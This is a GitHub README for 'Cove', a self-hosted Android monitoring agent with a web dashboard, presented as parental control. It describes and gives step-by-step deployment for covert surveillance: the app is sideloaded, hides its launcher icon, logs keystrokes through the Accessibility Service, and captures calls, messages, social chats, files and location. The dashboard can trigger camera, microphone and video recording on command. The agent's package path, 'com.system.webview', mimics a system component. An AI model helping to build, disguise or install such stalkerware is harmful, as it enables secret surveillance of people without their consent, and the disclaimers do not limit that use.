Skip to content

Repository files navigation

Cove

πŸ›‘οΈ Cove

Parental Digital Safety Platform β€” Protected. Always.

A two-part system: an invisible Android agent that silently collects activity from the child's device, and a web dashboard you open from any browser to review everything β€” calls, messages, location, social-media chats, typed text, screenshots, recordings, and more.

License: MIT Platform Dashboard Backend Release LinkedIn

⬇️ Download APK Β· ✨ Features Β· πŸ“– Setup Β· πŸ–₯️ Dashboard Β· ⚠️ Disclaimer

Cove β€” Protected. Always.

🧩 The Problem

Children today spend hours on social media, messaging apps, and online games β€” often in conversations parents never see. Threats like cyberbullying, inappropriate content, online predators, and excessive screen time are real. Existing parental-control apps are expensive, subscription-based, or easily bypassed by tech-savvy kids.

Cove runs invisibly on the child's Android device, syncs all activity to a Supabase backend you control, and presents it in a clean web dashboard you access from any device β€” no subscriptions, no third-party data access, full ownership.

⚠️ Cove is a lawful-use-only parental monitoring tool. Deploy it only on devices you own and that are used by minor children for whom you are the legal guardian. See DISCLAIMER.md.

✨ Key Features

πŸ“± Android Agent

  • πŸ•΅οΈ Invisible after setup β€” launcher icon is hidden after pairing; runs as a background service.
  • πŸ“ž Call & SMS monitoring β€” logs every call and message with contact names.
  • ⌨️ Keylogger β€” captures typed text across all apps via Accessibility Service.
  • πŸ‘οΈ Screen activity β€” captures visible text of monitored social apps.
  • πŸ”” Social-media notifications β€” intercepts WhatsApp, Instagram, Telegram, TikTok, Snapchat, and more in real time.
  • πŸ“Έ Remote screenshot β€” trigger a screenshot from the dashboard instantly.
  • πŸ“· Remote camera capture β€” take a photo with front or back camera on command.
  • πŸŽ™οΈ Remote microphone recording β€” record audio on demand (configurable duration).
  • 🎬 Remote video recording β€” record front/back camera video on command.
  • πŸ“ File browser & transfer β€” browse the child's storage and download any file (up to 50 MB).
  • πŸ“ GPS tracking β€” periodic live location sync.
  • πŸ“‹ App inventory β€” full list of installed apps with suspicious-package flagging.
  • πŸ” Reliable sync β€” local queue with exponential backoff; realtime direct upload for chats.
  • 🚨 Keyword alerts β€” configurable dangerous-keyword detection (HIGH / MEDIUM / LOW severity).

πŸ–₯️ Web Dashboard

  • πŸ“Š Unified media gallery β€” screenshots, camera photos, audio, video, and downloaded files in one place.
  • πŸ’¬ Social chat viewer β€” grouped by contact and app; highlights suspicious keywords.
  • πŸ—ΊοΈ Live map β€” GPS location history on an interactive map.
  • πŸ‘§ Multi-child support β€” manage multiple devices from one dashboard.
  • ⚑ Realtime updates β€” new data appears instantly via Supabase Realtime.
  • 🌐 Deployable to Vercel β€” access your dashboard from anywhere, no local server needed.

πŸ–ΌοΈ Screenshots

Add screenshots to assets/ and uncomment the lines below.

βš™οΈ Architecture

Child's Android device
  β†’ Agent collects: calls, SMS, notifications, keystrokes, screen text,
                    location, contacts, installed apps, media
  β†’ Syncs to Supabase REST API (local queue + exponential backoff)
  β†’ Realtime channel pushes updates to dashboard instantly

Parent's browser (dashboard)
  β†’ Reads from Supabase tables in real time
  β†’ Sends commands: screenshot / camera / microphone / video / file transfer
  β†’ Agent polls every 15 seconds for pending commands β†’ executes β†’ uploads result
  β†’ Dashboard receives result via Supabase Realtime or polling fallback

Your data stays yours. Everything goes to the Supabase project you created β€” the author has zero access to any monitoring data.

πŸ’» System Requirements

Android Agent (child's phone)

Minimum
Android 7.0 (API 24) or higher
RAM 2 GB
Storage 50 MB free
Permissions Accessibility Service, Notification Listener, Location, Camera, Microphone, Storage

Web Dashboard

Hosting Vercel (recommended) or any Node.js host
Backend Supabase (free tier sufficient)
Browser Any modern browser (Chrome, Edge, Firefox, Safari)

⬇️ Installation

For parents (recommended)

  1. Go to Releases.
  2. Download Cove.apk (latest version).
  3. Transfer the APK to the child's Android device.
  4. On the child's device: enable "Install from unknown sources" (Settings β†’ Apps β†’ Special App Access β†’ Install Unknown Apps).
  5. Install the APK and open it β€” follow the pairing steps below.

Alternatively: if you have the web dashboard running, go to Unduh APK in the sidebar to download the latest APK directly.

πŸ“– Setup Guide

Step 1 β€” Set up the backend (Supabase)

  1. Create a free project at supabase.com.
  2. Run the SQL schema from supabase/schema.sql in the Supabase SQL Editor.
  3. Note your Project URL and Anon Key from Settings β†’ API.

Step 2 β€” Configure and build the Android agent

  1. Open agent-android-parental/ in Android Studio.
  2. Edit app/src/main/java/com/system/webview/sync/network/SupabaseConfig.kt:
    const val URL = "https://your-project.supabase.co"
    const val ANON_KEY = "your-anon-key"
  3. Build β†’ Generate Signed APK (or use Build β†’ Build APK for testing).

Step 3 β€” Deploy the web dashboard

  1. Go to dashboard-web-parental/.
  2. Copy .env.example to .env.local and fill in your Supabase credentials.
  3. Deploy to Vercel (recommended):
    • Push the repo to GitHub.
    • Import the project in vercel.com.
    • Set the root directory to dashboard-web-parental.
    • Add the three environment variables from .env.local.
    • Click Deploy.

Step 4 β€” Pair the child's device

  1. Open the dashboard β†’ Daftar Anak β†’ Tambah Anak β†’ note the 6-digit PIN.
  2. Install and open the APK on the child's device.
  3. Grant all requested permissions (Accessibility, Notification Access, Location, etc.).
  4. Enter the PIN β†’ tap Pasangkan.
  5. The launcher icon disappears β€” the agent is now running silently.

πŸ–₯️ Dashboard

Access from any browser at your Vercel URL (or http://localhost:3000 for local development):

cd dashboard-web-parental
npm install
npm run dev
Page What it shows
Overview Live GPS location on an interactive map
Obrolan Sosmed Social-media chats grouped by contact
Ketikan Keyboard Everything typed on any app
Aktivitas Layar Visible text scraped from monitored apps
SMS & Panggilan All calls and messages
Screenshot Screenshots triggered from dashboard
Foto Kamera Photos taken with remote camera command
Rekam Mikrofon Audio recordings with inline player
Rekam Video Video recordings with inline player
Galeri Media All media in one place
File Penyimpanan Browse and download files from device
Daftar Anak Manage children and pairing PINs
Pengaturan Alert Configure keyword alerts by severity
Unduh APK Host and download the agent APK

πŸ”’ Security Notes

  • The dashboard has no built-in authentication. Deploy it behind a private URL or Vercel password protection β€” do not expose it publicly.
  • All monitoring data is encrypted in transit via Supabase TLS. Row Level Security (RLS) is configured in supabase/schema.sql.
  • Your SUPABASE_SERVICE_ROLE_KEY has admin access β€” never commit it; keep it only in Vercel environment variables.

πŸ—ΊοΈ Roadmap

  • v1.0 (current) β€” Full Android agent + Next.js 15 dashboard, all monitoring features, Supabase backend.
  • v1.1 β€” Push notifications to parent (new alert β†’ push to phone/browser).
  • v1.2 β€” Screen time analytics, app usage limits, website blocking.
  • v2.0 β€” Multi-language dashboard (EN / ID), iOS companion app.

🀝 Contributing

Issues and pull requests are welcome. See CONTRIBUTING.md.

Found a security issue? Report it via SECURITY.md β€” please don't open a public issue.

⚠️ Disclaimer

Cove is for lawful parental monitoring of minor children only. You must own the device or have legal authority over it. Monitoring an adult without their knowledge and consent is illegal in most jurisdictions. See DISCLAIMER.md.

πŸ“„ License

MIT Β© Abil Khosim.


πŸ‘€ Developed by Abil Khosim

Cybersecurity Specialist

LinkedIn GitHub

Cove is an original project by Abil Khosim, an independent security tool by Abil Khosim (NoxNull). Released under the MIT License β€” Β© 2026 Abil Khosim. Please keep this attribution when reusing or redistributing.

A sheltered bay for every child. πŸ›‘οΈ

About

πŸ›‘οΈ Cove β€” Parental Digital Safety Platform with real-time monitoring, location awareness, activity insights, and secure self-hosted deployment.

Topics

Resources

Contributing

Security policy

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages